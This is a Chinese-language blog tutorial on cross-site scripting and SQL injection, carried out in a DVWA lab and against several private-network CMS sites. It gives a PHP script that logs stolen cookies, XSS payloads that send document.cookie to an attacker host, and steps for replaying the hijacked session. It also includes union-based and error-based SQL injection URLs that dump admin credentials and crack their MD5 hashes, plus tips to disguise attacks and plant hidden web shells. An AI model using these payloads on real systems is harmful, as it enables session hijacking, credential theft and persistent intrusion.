如果您发现错误，或者有什么建议，欢迎随时联系我，谢谢！
一、XSS
XSS（Cross Site Script），全称跨站脚本攻击，为了与 CSS（Cascading Style Sheet）层叠样式表有所区别，所以在安全领域称为 XSS。
XSS 攻击，通常指黑客通过 HTML注入 (控制输入变量)篡改网页，插入恶意脚本，从而在用户浏览网页时，控制用户浏览器的一种攻击行为。在这种行为最初出现之时，所有的演示案例全是跨域行为，所以叫做 “跨站脚本” 。时至今日，随着Web 端功能的复杂化，应用化，是否跨站已经不重要了，但 XSS 这个名字却一直保留下来。
举例说明：编写一个页面把输入内容显示在网页上。
<?php
$input = $_GET['content'];
echo "<div>".$input."</div>";
?>
测试该网页实现内容及源码（以http://192.168.122.130/mytest/index.php?content = this is test！）
用户提交的数据会被反馈到页面上，比如搜索引擎就属于这种。如果用户提交的数据是超预期的精心构造的恶意代码呢？ 如下所示：
（以http://192.168.122.130/DVWA-1.9/vulnerabilities/xss_r/为例）在输入栏输入，验证是否可以弹出窗口
结果如下：
弹窗的源码
这种情况明显是开发者不愿意看到的，上述类型的XSS就是反射型XSS攻击，对用户提交的输入没有做任何过滤或者过滤不足使恶意代码插入到服务器响应的HTML代码中，这是XSS漏洞的主要特征。反射型XXS主要是诱导用户点击一个恶意链接，才能成功，这种行为往往是一次性的所以也叫“非持久性XSS”。
初学者往往对于上述攻击的“大费周章”往往不能理解，什么不诱导用户直接访问攻击者页面呢，原因是浏览器为防止不同域在用户浏览器中彼此干扰，会对不同域收到的内容进行隔离，攻击者的目的往往是获取用户在目标网站的cookie而不是单纯执行脚本，浏览器一般不会允许任何非当前脚本访问一个站点的cookie，这样做是防止会话劫持，并且浏览器允许发布cookie的网站才能读取该网站存储在用户的cookie，那么也就是说我们只有通过目标网站发送给用户浏览器的脚本才能读取该网站在用户存储的cookie并提交。
这就是其实就是反射型XSS漏洞
二、XSS分类
1、反射型XSS只是简单的把用户输入的数据从服务器反射给用户浏览器，要利用这个漏洞，攻击者必须以某种方式诱导用户访问一个精心设计的URL（恶意链接），才能实施攻击。
在一个攻击者准备的网站目录下创建一个php文件写入如下内容
<?php
$cookie = $_GET['cookie']; //获取cookie变量的值
$log = fopen("cookie.txt", "w"); //创建并打开一个cookie.txt的文本权限为写入
fwrite($log, $cookie ."\n"); //把cookie的值写入创建的文本
fclose($log); //关闭文本
echo "攻击成功"; //显示 攻击成功；此处为方便学习，故回显攻击成功
?>
并将xss.php文件放在本地安装phpstudy的WWW目录下（D:\phpStudyB\WWW），在http://192.168.122.130/DVWA-1.9/vulnerabilities/xss_r/下进行实验
构造一个URL诱导用户访问，当受害者点击时就会收到攻击（点击链接后此处显示攻击成功，这只是为了方便学习，如果在真是的环境中可以回显一个炒鸡大的404错误，只需要对上面的脚本进行更改即可，总之不要这么明目张胆……！）
http://192.168.122.130/DVWA-1.9/vulnerabilities/xss_r/?name=<script>document.location = 'http://10.22.116.184:8080/xss.php?cookie=' +document.cookie;</script>
用点击该URL访问，网页即可跳转，如下
在接收文件中查看捕获到的cookie
在火狐中使用查看元素修改cookie为捕获后的值。
2、存储型XSS能够把用户提交的数据保存在网站中，这种的攻击的稳定性比较好，一般是由于用户提交的数据没有经过有效的过滤而导致，常见的场景是网站的留言板块、博客、论坛发帖等，比如一个问答网站，黑客提出一个包含恶意脚本的问题，网站后台没有做输出过滤，那么任何查看该问题的用户的浏览器都会自动执行该恶意脚本。
反射型XSS攻击，攻击者必须以某种方式诱导用户访问其设置的URL，存储型没有这个限制，一旦攻击网站成功攻击者只需要等待用户去访问被攻击成功的页面即可，再者反射型攻击必须是用户正在访问该网站并且是已登录状态攻击才是有效的，而在存储型中当用户访问恶意代码保存页面时他必然是正在访问状态并且可以把页面设置在验证区。综上所述我们知道存储型XSS往往危害更大。
攻击范例：
利用的脚本如反射型的代码，但是不能补全代码，查看源码发现存在上传字数限制，并删除
取消限制以后即可成功上传代码，然后等待受害人被成功攻击；然后同反射型XSS，获得受害人cookie，进入浏览器添加获取到的cookie，即可使用该cookie值登录网站
三、搭建Web服务器进行简单的实验
1、以下以http://192.168.122.130/DVWA-1.9/vulnerabilities/xss_r/为例
在xss（Reflected）下输入：
<script>document.location = 'http://172.16.20.116:8080/xss.php?cookie=' +document.cookie;</script>
然后跳转到搭建的web服务器上，并且浏览器显示攻击成功（再次强调，若是真正的攻击不能这么明目张胆，可以回显一个炒鸡大的404错误！）此时找到D:\phpStudyB\WWW下的cookie.txt文件，可以找到对应的cookie值，然后打开浏览器在F12->存储位置进行添加即可。（因为搭建的服务器端口问题，所以此次XSS路径：172.16.20.116:8080/）
然后添加cookie值到浏览器：security=low; PHPSESSID=26759b6a99b4df9a59167320929f71b0
重新登录（此时可以换账号密码登录，效果更加明显），发现通过cookie值进行了登录
2、对网站http://172.16.20.96/cms/进行漏洞挖掘！
http://172.16.20.96/cms/show.php?id=-1 union all select 1,2,database(),4,5,6,444,333,555,9,222,666,12,777,14 --+ //爆库名
http://172.16.20.96/cms/show.php?id=-1 union all select 1,2,database(),4,5,6,444,333,555,9,222,666,12,group_concat(table_name),14 from information_schema.tables where table_schema = database() --+ //只爆出表名
http://172.16.20.96/cms/show.php?id=-1 union all select 1,2,database(),4,5,6,444,333,555,9,222,group_concat(column_name),12,group_concat(table_name),14 from information_schema.columns where table_name = table_name and table_schema = database() --+ //爆出表名和列名
http://172.16.20.96/cms/show.php?id=-1 union all select 1,2,database(),4,5,6,444,333,555,9,group_concat(username),group_concat(password),12,777,14 from cms_users --+ //爆数据
不同库中都装着user表时，也可以写成cms.cms_users，数据库cms对应的cms_users表
Username：admin,王sir
Password：21232f297a57a5a743894a0e4a801fc3,9aa6e5f2256c17d2d430b100032b997c
浏览https://pmd5.com/，使用MD5在线解码对上述两个password进行解码得到（MD5在线解密：属于撞库，不是逆向解密）：
admin！，lalala
3、针对网站：http://172.16.20.117/cms/list.php?id=22
http://172.16.20.117/cms/list.php?id=22) order by 10 --+ //通过order by来判断columns
http://172.16.20.117/cms/list.php?id=22) order by 15 --+
以此类推，判断出column数为14
首先，构造闭合时发现系统应该是将“=”过滤，然后观察显示位，通过显示位爆数据
http://172.16.20.117/cms/list.php?id=-22) union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14 --+
http://172.16.20.117/cms/list.php?id=-22) union all select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14 --+ //爆出数据库库名为cms
172.16.20.117/cms/list.php?id=-22) union all select 1,2,database(),4,5,6,7,8,group_concat(table_name),10,11,12,13,14 from information_schema.tables where TABLE_schema like database() --+
此时发现注入出现错误
此时我们发现常规方法不奏效之后改用报错型SQL注入
http://172.16.20.117/cms/list.php?id=-22) union all select 1,2,database(),4,5,6,7,8,(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(DATABASE() AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema like database() LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a),10,11,12,13,14 --+
修改limit后面的参数，即可输出不同数据（具体可以参照https://mp.csdn.net/mdeditor/88554954#），最终通过报错型SQL注入成功
注：此例中有一个“=”与like的替换，在SQL语句使用“=”时，回显将出现错误，当换为like时就能正确输出
四、XSS盗取cookie
（http://10.22.116.184:8080/cms/search.php?keywords=1&button=搜索为例）
在输入栏输入，观察页面是否可以弹出窗口：
检测完成后将自己搭建的Web服务器中含有攻击性代码的访问路径填充到URL中，生成的诱导受害者访问的URL为：
http://10.22.116.184:8080/cms/search.php?keywords=<script>document.location ='http://10.22.116.184:8080/xss.php?cookie=' +document.cookie;</script>&button=搜索
等待点击之后就是从cookie.txt中获取数据，利用cookie的部分与之前相同！
注:get型可以做成URL链接，盗cookie，诱导受害人点击；将链接放在留言板中地址栏或者内容栏就是存储型XSS，并且可以在一个不容易删除的地方或者可执行文件内不会被管理员经常查看的地方加入变种一句话木马
写在最后：一般攻击思路是单点突破、横向渗透；在安全防御中可以允许单点突破，但是绝对不允许横向渗透；防御一般建立在已知上，攻击建立在未知上
作者：苏小酱